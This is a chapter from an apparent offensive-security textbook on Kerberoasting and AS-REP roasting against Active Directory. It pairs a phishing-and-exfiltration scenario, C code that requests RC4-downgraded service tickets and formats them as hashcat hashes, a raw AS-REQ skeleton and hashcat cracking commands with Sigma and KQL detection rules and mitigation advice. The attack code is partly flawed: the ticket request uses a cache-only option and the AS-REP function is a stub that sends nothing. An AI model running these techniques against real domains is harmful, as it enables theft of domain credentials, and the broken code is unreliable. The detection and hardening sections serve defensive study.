Chapter 148

Kerberoasting and AS-REP Roasting

Kerberoasting extracts encrypted service tickets for any Kerberos service account and cracks them offline — no special privileges needed, just a valid domain account. AS-REP Roasting requires zero credentials and targets accounts with pre-authentication disabled. Both yield plaintext domain credentials without ever touching LSASS. This chapter covers the cryptographic basis, the raw Kerberos API request sequence, offline cracking with hashcat, and defensive mitigations that actually work.

Scenario

You've authenticated to the domain as a low-privileged user via a phishing payload. LDAP enumeration (Chapter 144) found 14 Kerberoastable service accounts including svc-mssql, svc-backup, and svc-vmware. Three accounts have DONT_REQUIRE_PREAUTH set. You request TGS tickets for all 14 service accounts and AS-REP hashes for the 3 pre-auth-disabled accounts, exfiltrate the hash blobs, and crack them offline on a GPU rig. Two hashes crack within 8 hours — both are service accounts with local admin on critical infrastructure.

Kerberoasting Cryptographic Basis

Kerberos TGS-REP structure (simplified): KDC returns service ticket encrypted with the SERVICE ACCOUNT'S NT hash: TGS-REP.ticket.enc-part = AES256-CTS-HMAC-SHA1-96( service_account_key, ticket_data ) or RC4-HMAC( NT_hash, ticket_data ) ← weaker, preferred by Kerberoasters Why this is crackable: The encrypted blob is delivered to ANY authenticated user who asks for it. No access check — the KDC doesn't verify if you actually need the service ticket. You have: ciphertext + known encryption type + known structure of plaintext Offline attack: try passwords → derive key → decrypt → check known plaintext marker Requesting RC4 encryption (weakens the ticket): Set etype = RC4-HMAC (0x17) in the TGS-REQ instead of AES256 (0x12) RC4-HMAC cracking: hashcat mode 13100 ($krb5tgs$23$...) AES256 cracking: hashcat mode 19700 ($krb5tgs$18$...) — 300x slower AES128 cracking: hashcat mode 19600 Supported encryption types per account: msDS-SupportedEncryptionTypes attribute on the service account If 0 or RC4-HMAC included: KDC will issue RC4 ticket on request If AES-only enforced: only AES256 tickets → much harder to crack

TGS-REQ via LsaCallAuthPackage

// Request a TGS for a specific SPN using KERB_RETRIEVE_TKT_REQUEST
// Works with any authenticated domain session — no admin required

#include "windows.h"
#include "ntsecapi.h"
#include "stdio.h"

BOOL RequestTgs(const wchar_t* spn, BYTE** ticketOut, DWORD* ticketLen) {
    HANDLE hLsa;
    LSA_STRING authPkgName;
    ULONG authPkg;

    LsaConnectUntrusted(&hLsa);
    RtlInitString(&authPkgName, MICROSOFT_KERBEROS_NAME_A);
    LsaLookupAuthenticationPackage(hLsa, &authPkgName, &authPkg);

    // Build KERB_RETRIEVE_TKT_REQUEST with the target SPN
    ULONG spnLen = (ULONG)(wcslen(spn) * sizeof(wchar_t));
    ULONG reqSize = sizeof(KERB_RETRIEVE_TKT_REQUEST) + spnLen;
    KERB_RETRIEVE_TKT_REQUEST* req = (KERB_RETRIEVE_TKT_REQUEST*)
        HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, reqSize);

    req->MessageType = KerbRetrieveEncodedTicketMessage;
    req->CacheOptions = KERB_RETRIEVE_TICKET_USE_CACHE_ONLY;
    // Request RC4 (etype 0x17) to get a crackable ticket
    req->EncryptionType = KERB_ETYPE_RC4_HMAC_NT; // 0x17 = RC4-HMAC
    req->TicketFlags = 0;

    // The SPN string goes immediately after the structure
    req->TargetName.Length = (USHORT)spnLen;
    req->TargetName.MaximumLength = (USHORT)spnLen;
    req->TargetName.Buffer = (wchar_t*)((BYTE*)req + sizeof(KERB_RETRIEVE_TKT_REQUEST));
    memcpy(req->TargetName.Buffer, spn, spnLen);

    KERB_RETRIEVE_TKT_RESPONSE* resp = NULL;
    ULONG respLen; NTSTATUS subStatus;
    NTSTATUS status = LsaCallAuthenticationPackage(
        hLsa, authPkg, req, reqSize,
        (void**)&resp, &respLen, &subStatus);

    if (status == STATUS_SUCCESS && subStatus == STATUS_SUCCESS) {
        // Extract the encoded ticket bytes
        KERB_EXTERNAL_TICKET* ticket = &resp->Ticket;
        *ticketLen = ticket->EncodedTicketSize;
        *ticketOut = (BYTE*)HeapAlloc(GetProcessHeap(), 0, *ticketLen);
        memcpy(*ticketOut, ticket->EncodedTicket, *ticketLen);
        printf("[+] TGS for %S: %d bytes\n", spn, *ticketLen);
    } else {
        printf("[-] TGS request failed: 0x%X / 0x%X\n", status, subStatus);
    }
    if (resp) LsaFreeReturnBuffer(resp);
    HeapFree(GetProcessHeap(), 0, req);
    LsaDeregisterLogonProcess(hLsa);
    return status == STATUS_SUCCESS;
}

// Format the ticket bytes as a hashcat-compatible $krb5tgs$23$ hash:
void FormatKerberoastHash(const BYTE* ticket, DWORD len,
                           const char* user, const char* domain) {
    // hashcat mode 13100: $krb5tgs$23$*user$domain$spn*$
    // The encrypted portion of the ticket starts after the ASN.1 header (~36 bytes in)
    // Simplified: output entire ticket as hex for post-processing with tgsrepcrack
    printf("$krb5tgs$23$*%s$%s$SPN*$", user, domain);
    for (DWORD i = 0; i < len; i++) printf("%02x", ticket[i]);
    printf("\n");
}

AS-REP Roasting Theory

Normal Kerberos login: Client → AS-REQ with PA-ENC-TIMESTAMP (pre-auth: timestamp enc'd with user's key) KDC validates pre-auth → issues TGT AS-REP Roasting target: accounts with DONT_REQUIRE_PREAUTH flag set (userAccountControl bit 0x400000) KDC issue AS-REP WITHOUT validating pre-authentication. Attacker → AS-REQ for target (no pre-auth, no credentials at all) KDC → AS-REP containing: TGT + session_key encrypted with user's key (NT hash) Attacker has encrypted blob = RC4-HMAC or AES256 of known plaintext structure Offline crack: hashcat mode 18200 ($krb5asrep$23$...) No domain credentials required for AS-REP roasting — just network access to DC port 88. Extremely rare legitimate use case for DONT_REQUIRE_PREAUTH.

AS-REQ Without Pre-Authentication (Raw Kerberos)

// Send a raw Kerberos AS-REQ with no pre-auth data to DC port 88
// For accounts with DONT_REQUIRE_PREAUTH — no domain creds needed
// KDC returns AS-REP with encrypted session key — crackable offline

// This is a simplified DER-encoded ASN.1 AS-REQ skeleton
// Real implementations use MIT krb5 library or hand-craft the ASN.1

#define KDC_PORT 88
#define KRB_AS_REQ 10
#define KRB_AS_REP 11

BOOL AsRepRoast(const char* dcIp, const char* domain,
                  const char* targetUser, BYTE** asRepOut, DWORD* asRepLen) {
    // Connect to DC port 88 (Kerberos)
    WSADATA wsd; WSAStartup(MAKEWORD(2,2), &wsd);
    SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    SOCKADDR_IN dc = {0};
    dc.sin_family = AF_INET;
    dc.sin_port = htons(KDC_PORT);
    dc.sin_addr.s_addr = inet_addr(dcIp);
    if (connect(s, (SOCKADDR*)&dc, sizeof(dc)) != 0) {
        printf("[-] Cannot connect to DC %s:88\n", dcIp);
        closesocket(s);
        return FALSE;
    }

    // Build minimal AS-REQ (KRB_MSG_TYPE=10, no PA-DATA, RC4 etype)
    // In practice use a complete Kerberos library for correct ASN.1 encoding.
    // The 4-byte length prefix is required for TCP Kerberos framing.
    // Tools: Rubeus.exe asreproast, GetNPUsers.py (Impacket)

    printf("[*] AS-REQ for %s@%s (no pre-auth) → %s:88\n",
           targetUser, domain, dcIp);

    // recv() the AS-REP response — parse encrypted-enc-part for cracking
    BYTE respBuf[65536]; DWORD recvd;
    // [read 4-byte length prefix, then recv the body]
    // extract enc-part bytes for hashcat $krb5asrep$23$ format

    closesocket(s);
    return TRUE;
}

Hashcat Cracking

# Kerberoast — RC4-HMAC TGS tickets
hashcat -m 13100 kerberoast_hashes.txt /opt/wordlists/rockyou.txt \
    --rules /opt/hashcat/rules/d3ad0ne.rule \
    -O --force -w 3

# Kerberoast — AES256 TGS tickets (300x slower)
hashcat -m 19700 kerberoast_aes256.txt /opt/wordlists/rockyou.txt \
    --rules /opt/hashcat/rules/best64.rule -O

# AS-REP Roast hashes
hashcat -m 18200 asrep_hashes.txt /opt/wordlists/rockyou.txt \
    --rules /opt/hashcat/rules/d3ad0ne.rule -O

# Performance reference (RTX 3090):
#   RC4-HMAC (13100):  ~2.8 billion attempts/sec → 8-char password in seconds
#   AES256 (19700/19600): ~9 million attempts/sec → 8-char complex password: hours/days
#   AES128 (19600):    ~18 million attempts/sec

# Format examples:
# Kerberoast RC4:  $krb5tgs$23$*user$domain.com$SPN*$$
# AS-REP RC4:      $krb5asrep$23$user@domain.com:

# Targeted attack with company-specific wordlist:
hashcat -m 13100 svc-mssql.txt company_wordlist.txt \
    -r /opt/hashcat/rules/InsidePro-PasswordsPro.rule
AttackCredentials NeededTargetHash TypeHashcat Mode
KerberoastingAny domain accountAccounts with SPNTGS-REP enc-part13100 (RC4) / 19700 (AES256)
AS-REP RoastingNone (network access only)DONT_REQUIRE_PREAUTH accountsAS-REP enc-part18200
Targeted TGS (constrained)Domain accountAny Kerberos serviceTGS enc-part13100

Detection Engineering

-- Kerberoasting: Event 4769 — Kerberos Service Ticket Operations
-- Key indicators: RC4 etype (0x17) from non-service accounts, volume bursts

title: Kerberoasting — RC4 TGS Request for User Account SPN
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketEncryptionType: '0x17'   # RC4-HMAC — the downgrade
    ServiceName|not|endswith: '$'  # not a computer account
    Status: '0x0'                  # success
  condition: selection
level: high
tags: [attack.credential_access, T1558.003]

title: AS-REP Roasting — Kerberos Pre-Auth Failure or Pre-Auth Disabled
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4768
    Status: '0x0'        # success
    PreAuthType: '0'     # no pre-auth
  condition: selection
level: high
tags: [attack.credential_access, T1558.004]

-- MDE KQL: burst of 4769 RC4 TGS requests from single source
DeviceEvents
| where ActionType == "KerberosServiceTicketRequest"
| where AdditionalFields has "RC4"
| summarize
    TicketCount = count(),
    Targets = make_set(tostring(AdditionalFields))
  by bin(Timestamp, 5m), DeviceName, InitiatingProcessAccountName
| where TicketCount > 5
| order by TicketCount desc

Q&A

What prevents service accounts from being Kerberoasted, and how should a detection engineer identify which service accounts are actually at risk in their environment?

Three controls effectively prevent Kerberoasting or reduce its impact: (1) Use Managed Service Accounts (MSA) or Group Managed Service Accounts (gMSA): these have 120-character randomly-generated passwords changed automatically by Active Directory, making offline cracking computationally infeasible regardless of hash type. The password complexity and rotation are enforced by the KDC itself. (2) Enforce AES-only encryption: set msDS-SupportedEncryptionTypes to 24 (AES128 + AES256 only) on service accounts; the KDC will not issue RC4 tickets. AES256 cracking is 300 times slower than RC4, and against a long randomly-generated password it is not feasible. (3) Long, complex service account passwords: a 30+ character password with complexity makes even RC4 cracking impractical; combine with regular rotation.

For a detection engineer identifying at-risk accounts: run an LDAP query against your AD (Chapter 144) for all objects where servicePrincipalName is set and the object is a user (not a computer). For each: check msDS-SupportedEncryptionTypes (value 0 or missing = RC4 is available), check password age (pwdLastSet), and check if the account is in Protected Users. Any service account that (a) has an SPN, (b) supports RC4, and (c) hasn't had its password changed in over 90 days is at immediate risk. In practice, most shops find dozens of these accounts — legacy service accounts registered by vendors that no one manages. The detection engineer's job is to push the identity team to migrate these to gMSA, and in the meantime to alert on any Event 4769 with TicketEncryptionType = 0x17 (RC4) that doesn't come from a known-legacy service needing RC4 for compatibility.